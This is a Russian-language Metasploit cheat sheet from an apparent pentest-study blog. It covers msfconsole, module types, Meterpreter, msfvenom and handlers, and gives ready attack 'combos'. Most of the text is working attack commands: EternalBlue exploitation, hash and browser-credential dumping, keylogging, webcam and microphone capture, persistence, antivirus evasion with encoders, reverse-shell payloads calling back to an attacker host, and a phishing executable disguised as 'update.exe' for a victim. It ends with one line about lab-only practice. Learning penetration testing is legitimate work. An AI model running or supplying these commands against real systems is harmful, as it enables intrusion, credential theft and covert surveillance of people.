📌 Шпаргалка #16

Metasploit Framework: полный гайд

✍️ pentestudy 📅 28.03.2026

📌 Что это / Зачем это нужно

Metasploit Framework — главный фреймворк для эксплуатации уязвимостей. Командный центр пентестера: тысячи готовых эксплойтов, сотни payload-ов, модули разведки, пост-эксплуатации — всё в одной консоли. Предустановлен в Kali Linux.

Аналогия: ракетный командный центр. Арсенал ракет (эксплойтов), склад боеголовок (payload-ов), пусковые установки (handlers), системы наведения (настройки), десантные модули (post). Без него — собираешь всё вручную из разных мест.


⚡ Запуск и базовая навигация

Запуск

# Запуск msfconsole (основной интерфейс)
msfconsole
 
# Тихий запуск (без баннера)
msfconsole -q
 
# Инициализация базы данных (один раз, ускоряет поиск)
sudo msfdb init
msfconsole

После загрузки видишь msf6 > — ты внутри.

Базовые команды навигации

# Справка
help
 
# Поиск модулей
search eternalblue
search cve:2017-0144
search type:exploit platform:windows smb
 
# Выбрать модуль
use exploit/windows/smb/ms17_010_eternalblue
 
# Информация о модуле
info
 
# Посмотреть параметры
show options
 
# Установить параметр
set RHOSTS 192.168.1.10
set LHOST 192.168.1.5
 
# Убрать параметр
unset RHOSTS
 
# Запустить
run
# или
exploit
 
# Выйти из модуля (вернуться в msf6 >)
back
 
# Выйти из Metasploit
exit

🔧 Модули Metasploit (типы)

Metasploit состоит из 7 типов модулей. Каждый — для своей задачи.

exploit/ — эксплойты

Что: код, который использует конкретную уязвимость (CVE) для получения доступа к целевой системе.

Аналогия: отмычка, подобранная под конкретный тип замка.

Когда: знаешь уязвимость цели → ищешь эксплойт → запускаешь.

# Поиск
search type:exploit platform:windows smb
 
# Использование
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.10
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
run

Эксплойты делятся на:

  • active — ты запускаешь, он атакует цель
  • passive — ждёт пока цель сама подключится (фейковый сервер, вредоносная ссылка)

payload/ — полезная нагрузка

Что: код, который выполняется НА ЦЕЛИ после успешной эксплуатации. Именно payload даёт тебе shell, а не эксплойт.

Аналогия: боеголовка на ракете. Ракета (эксплойт) доставляет, боеголовка (payload) делает работу.

Три типа payload-ов:

Singles — самодостаточные, всё в одном файле. Выполняют одно действие и всё.

# Пример: просто добавить пользователя
windows/adduser
# Или одноразовый shell
linux/x86/shell_reverse_tcp

Stagers — маленький «разведчик» (200-500 байт). Устанавливает соединение и скачивает основной payload (stage).

Stages — основной тяжёлый payload, который скачивается stager-ом. Например, полный Meterpreter.

# Staged (stager + stage) — слэш между типом и протоколом:
windows/meterpreter/reverse_tcp
 
# Stageless (всё в одном) — нижнее подчёркивание:
windows/meterpreter_reverse_tcp

Staged — меньше размер, но два соединения. Stageless — больше размер, но надёжнее и сразу шифрованный канал.

Популярные payload-ы:

# Meterpreter reverse shell (самый используемый)
windows/x64/meterpreter/reverse_tcp
linux/x64/meterpreter/reverse_tcp
 
# Обычный shell
windows/x64/shell/reverse_tcp
linux/x64/shell/reverse_tcp
 
# Bind shell (цель открывает порт)
windows/x64/meterpreter/bind_tcp
 
# Через HTTP/HTTPS (маскировка под веб-трафик)
windows/x64/meterpreter/reverse_https

Как выбрать payload:

# Внутри эксплойта — посмотреть совместимые payload-ы:
show payloads
 
# Установить payload
set payload windows/x64/meterpreter/reverse_tcp

auxiliary/ — вспомогательные модули

Что: всё что не эксплойт и не payload — сканеры, брутфорсеры, фаззеры, сборщики информации, спуферы.

Аналогия: разведывательные дроны, прослушки, инструменты саперов — всё что помогает ДО и ПОСЛЕ основной атаки.

Когда: разведка, сбор информации, проверка уязвимостей без эксплуатации.

# Сканирование SMB
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
 
# Сканирование портов
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.10
set PORTS 1-1000
run
 
# Брутфорс SSH
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.10
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
 
# Перечисление пользователей SMB
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 192.168.1.10
run
 
# Сканирование FTP — анонимный вход
use auxiliary/scanner/ftp/anonymous
set RHOSTS 192.168.1.0/24
run
 
# Поиск уязвимости MS17-010 (EternalBlue)
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

post/ — пост-эксплуатация

Что: модули, которые работают ПОСЛЕ получения сессии. Сбор данных, повышение привилегий, закрепление, перемещение по сети.

Аналогия: десантная группа внутри здания. Поиск документов, установка жучков, открытие дверей в другие отделы.

Когда: уже есть активная сессия (meterpreter или shell).

# Сбор информации о системе
use post/windows/gather/enum_system
set SESSION 1
run
 
# Дамп хэшей паролей
use post/windows/gather/hashdump
set SESSION 1
run
 
# Сбор сохранённых паролей из браузеров
use post/multi/gather/firefox_creds
set SESSION 1
run
 
# Поиск интересных файлов
use post/multi/gather/find_interesting_files
set SESSION 1
run
 
# Сбор информации о сети (внутренние IP, маршруты)
use post/multi/gather/ping_sweep
set SESSION 1
set RHOSTS 10.0.0.0/24
run
 
# Повышение привилегий
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
 
# Закрепление (persistence) — автозапуск при перезагрузке
use exploit/windows/local/persistence_service
set SESSION 1
run
 
# Снятие скриншота
use post/multi/gather/screenshot
set SESSION 1
run

encoder/ — кодировщики

Что: обфускация payload-а чтобы обойти антивирусы и IDS. Перекодирует payload в другой формат, сохраняя функциональность.

Аналогия: маскировка бойца. Переодевается в форму охранника — делает то же самое, но выглядит легитимно.

Когда: антивирус на цели палит твой payload.

# При генерации payload через msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
 
# -e — кодировщик
# -i 5 — 5 итераций кодирования
# Популярные кодировщики:
# x86/shikata_ga_nai — самый известный полиморфный кодировщик
# x64/xor — XOR-кодирование для x64
# x86/countdown — обратный отсчёт
 
# Посмотреть все кодировщики:
show encoders

Важно: современные антивирусы ловят shikata_ga_nai уже давно. Для реального обхода AV нужны более продвинутые техники (custom shellcode, обфускаторы, sleep encryption).


nop/ — NOP-генераторы

Что: генерируют NOP-слайды (No Operation) — цепочки «пустых» инструкций перед payload-ом.

Аналогия: разбег перед прыжком. Процессор «скользит» по NOP-ам пока не доедет до payload-а.

Когда: при эксплуатации переполнения буфера, когда точный адрес возврата неизвестен. NOP-слайд увеличивает шанс попасть на payload.

# Обычно используются автоматически внутри эксплойтов
# Вручную — редко нужно
show nops

На практике ты почти никогда не будешь настраивать NOP вручную — эксплойты делают это сами.


evasion/ — модули обхода защиты

Что: генерируют payload-ы, специально разработанные для обхода конкретных антивирусов и защитных решений.

Аналогия: спецкостюм-невидимка, пошитый под конкретную систему охраны.

# Генерация exe, обходящего Windows Defender
use evasion/windows/windows_defender_exe
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.5
run
 
# Посмотреть все evasion-модули:
show evasion

Evasion-модулей мало и они быстро устаревают — антивирусы обновляются. Для серьёзного обхода AV используют отдельные инструменты (Veil, Shellter, custom).


🎯 Meterpreter — продвинутая оболочка

Что это

Meterpreter (Meta-Interpreter) — самый мощный payload в Metasploit. Работает полностью в памяти (не создаёт файлов на диске), шифрует трафик, имеет десятки встроенных команд.

Аналогия: десантная группа с полным снаряжением — камеры, отмычки, рации, взрывчатка, маскировка. Не просто стоят внутри — могут всё.

Базовые команды

# После успешной эксплуатации — ты в meterpreter >
 
# === ИНФОРМАЦИЯ ===
sysinfo                    # ОС, архитектура, имя машины
getuid                     # текущий пользователь
getpid                     # PID текущего процесса
ps                         # список процессов
ipconfig                   # сетевые интерфейсы (ifconfig на Linux)
route                      # таблица маршрутизации
arp                        # ARP-таблица
 
# === ФАЙЛОВАЯ СИСТЕМА ===
pwd                        # текущая директория
ls                         # список файлов
cd C:\\Users               # перейти в папку
cat file.txt               # прочитать файл
download C:\\secrets.txt   # скачать файл к себе
upload backdoor.exe C:\\   # загрузить файл на цель
search -f *.pdf            # поиск файлов по маске
edit file.txt              # редактировать файл
 
# === ПРИВИЛЕГИИ ===
getsystem                  # попытка повышения до SYSTEM
getprivs                   # текущие привилегии
 
# === ПАРОЛИ ===
hashdump                   # дамп хэшей SAM (нужен SYSTEM)
load kiwi                  # загрузить Mimikatz
creds_all                  # все учётные данные из памяти
creds_msv                  # NTLM-хэши
creds_wdigest              # пароли в открытом виде (если WDigest включён)
creds_kerberos             # Kerberos-тикеты
 
# === ШПИОНАЖ ===
screenshot                 # скриншот экрана
keyscan_start              # запуск кейлоггера
keyscan_dump               # прочитать нажатые клавиши
keyscan_stop               # остановить кейлоггер
webcam_snap                # фото с веб-камеры
webcam_stream              # видео с веб-камеры
record_mic                 # запись микрофона
 
# === ПРОЦЕССЫ И МИГРАЦИЯ ===
ps                         # список процессов
migrate 1234               # мигрировать в другой процесс
kill 1234                  # убить процесс
 
# === СЕТЬ ===
portfwd add -l 3389 -p 3389 -r 10.0.0.5  # проброс порта
route                      # маршруты
 
# === УПРАВЛЕНИЕ СЕССИЕЙ ===
background                 # свернуть (вернуться в msf6)
shell                      # получить обычный cmd/bash
exit                       # завершить сессию

Миграция между процессами

Зачем: если твой процесс убьют — сессия умрёт. Мигрируй в стабильный процесс (explorer.exe, svchost.exe).

# Найти PID explorer.exe
ps | grep explorer
 
# Мигрировать
migrate 2456
 
# Или автоматически в стабильный процесс
run post/windows/manage/migrate

📋 msfvenom — генератор payload-ов

Отдельная утилита для создания standalone payload-ов (exe, elf, apk, php, python и т.д.) — для фишинга, ручной доставки, социальной инженерии.

Базовый синтаксис

msfvenom -p <payload> LHOST=<IP> LPORT=<PORT> -f <format> -o <output>

Примеры

# Windows exe
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
 
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -f elf -o shell.elf
 
# PHP reverse shell (для загрузки на веб-сервер)
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php
 
# Python
msfvenom -p python/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.py
 
# Android APK
msfvenom -p android/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -o shell.apk
 
# JavaScript (для браузерных атак)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -f js_le -o shell.js
 
# ASP (для IIS-серверов)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -f asp -o shell.asp
 
# WAR (для Tomcat)
msfvenom -p java/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -f war -o shell.war
 
# С кодированием (обход AV)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 7 -f exe -o encoded.exe
 
# Список всех payload-ов
msfvenom --list payloads
 
# Список форматов
msfvenom --list formats
 
# Список кодировщиков
msfvenom --list encoders

🔍 Handler — приёмник соединений

После отправки payload-а на цель, тебе нужен handler (слушатель) который примет обратное соединение.

# В msfconsole:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
run
 
# В фоновом режиме (не блокирует консоль):
exploit -j
 
# Посмотреть активные задачи:
jobs -l
 
# Убить задачу:
jobs -k 0

Handler ОБЯЗАТЕЛЕН для любого reverse-payload-а. Без него цель подключится — а принять некому.


🛡 Работа с сессиями

# Список активных сессий
sessions -l
 
# Подключиться к сессии
sessions -i 1
 
# Свернуть сессию (из meterpreter)
background
# или Ctrl+Z
 
# Убить сессию
sessions -k 1
 
# Убить все сессии
sessions -K
 
# Обновить shell до meterpreter
sessions -u 1
 
# Запустить post-модуль на сессии
sessions -C "sysinfo" -i 1

🧠 Готовые комбо / Практические сценарии

Комбо 1: EternalBlue (MS17-010) — Windows 7/2008

Классика обучения. Работает на непропатченных Windows 7 и Server 2008.

msfconsole -q
 
# Проверить уязвима ли цель
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.10
run
 
# Если уязвима — эксплуатируем
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set LHOST 192.168.1.5
set payload windows/x64/meterpreter/reverse_tcp
run
 
# После получения meterpreter:
sysinfo
hashdump

Комбо 2: Фишинг через exe

# 1. Генерируем payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=443 -f exe -o update.exe
 
# 2. Запускаем handler
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 443
exploit -j
 
# 3. Доставляем update.exe жертве (фишинг, USB и т.д.)
# 4. Жертва запускает → сессия открывается

Комбо 3: Атака на веб-сервер (Tomcat)

# Сканируем
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.1.10
set RPORT 8080
run
 
# Если нашли логин/пароль — загружаем shell
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.10
set RPORT 8080
set HttpUsername tomcat
set HttpPassword tomcat
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.1.5
run

Комбо 4: Внутренняя разведка после получения сессии

# В meterpreter:
sysinfo
getuid
ipconfig
route
arp
 
# Сканировать внутреннюю сеть через скомпрометированную машину
background
use post/multi/gather/ping_sweep
set SESSION 1
set RHOSTS 10.0.0.0/24
run
 
# Добавить маршрут через скомпрометированную машину
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.0.0.0
run
 
# Теперь можно атаковать внутреннюю сеть через pivoting
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.0/24
run

Комбо 5: Апгрейд обычного shell до Meterpreter

# Если получил обычный cmd/bash shell (session 1):
sessions -u 1
 
# Или вручную:
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run

📋 База данных Metasploit

Metasploit может сохранять результаты в PostgreSQL — удобно для больших пентестов.

# Проверить подключение к БД
db_status
 
# Если не подключена:
# В обычном терминале:
sudo msfdb init
# Потом снова msfconsole
 
# Импорт результатов Nmap
db_nmap -sV 192.168.1.0/24
 
# Посмотреть найденные хосты
hosts
 
# Посмотреть найденные сервисы
services
 
# Фильтр по порту
services -p 445
 
# Посмотреть найденные уязвимости
vulns
 
# Найденные учётные данные
creds
 
# Очистить БД
hosts -d
services -d

⚠️ Важные моменты

  • Payload должен совпадать с handler-ом. Если сгенерировал reverse_tcp на порту 4444 — handler должен слушать тот же payload на том же порту. Несовпадение = сессия не откроется
  • LHOST — твой IP, RHOSTS — цель. Путать нельзя. Проверяй через ip a или ifconfig перед каждой атакой
  • x86 vs x64 — архитектура важна. windows/meterpreter/reverse_tcp — 32-бит. windows/x64/meterpreter/reverse_tcp — 64-бит. Если цель 64-бит — используй x64 payload
  • Staged vs Stageless. Слэш / = staged (два этапа). Подчёркивание _ = stageless (всё в одном). В лабе — staged. В реальном пентесте — чаще stageless
  • Порт 4444 — палевный. В реальных условиях используй 443 или 80 — маскируется под обычный HTTPS/HTTP
  • exploit -j — запуск в фоне. Без -j консоль будет заблокирована ожиданием сессии
  • sessions -l — проверяй регулярно. Сессии могут умирать (таймаут, перезагрузка цели)
  • Meterpreter живёт в памяти. Перезагрузка цели = потеря сессии. Для закрепления используй persistence-модули
  • Обновляй Metasploit. Новые эксплойты добавляются регулярно: sudo apt update && sudo apt install metasploit-framework
  • Всё что ты делаешь — логируется на цели. IDS/SIEM видит сканирование, эксплуатацию, подозрительные процессы. Учитывай это
  • Тренируйся только в лабе. Metasploitable2, HackTheBox, TryHackMe. Без письменного разрешения — уголовка
Содержание
📌 Что это / Зачем это нужно ⚡ Запуск и базовая навигация Запуск Базовые команды навигации 🔧 Модули Metasploit (типы) exploit/ — эксплойты payload/ — полезная нагрузка auxiliary/ — вспомогательные модули post/ — пост-эксплуатация encoder/ — кодировщики nop/ — NOP-генераторы evasion/ — модули обхода защиты 🎯 Meterpreter — продвинутая оболочка Что это Базовые команды Миграция между процессами 📋 msfvenom — генератор payload-ов Базовый синтаксис Примеры 🔍 Handler — приёмник соединений 🛡 Работа с сессиями 🧠 Готовые комбо / Практические сценарии Комбо 1: EternalBlue (MS17-010) — Windows 7/2008 Комбо 2: Фишинг через exe Комбо 3: Атака на веб-сервер (Tomcat) Комбо 4: Внутренняя разведка после получения сессии Комбо 5: Апгрейд обычного shell до Meterpreter 📋 База данных Metasploit ⚠️ Важные моменты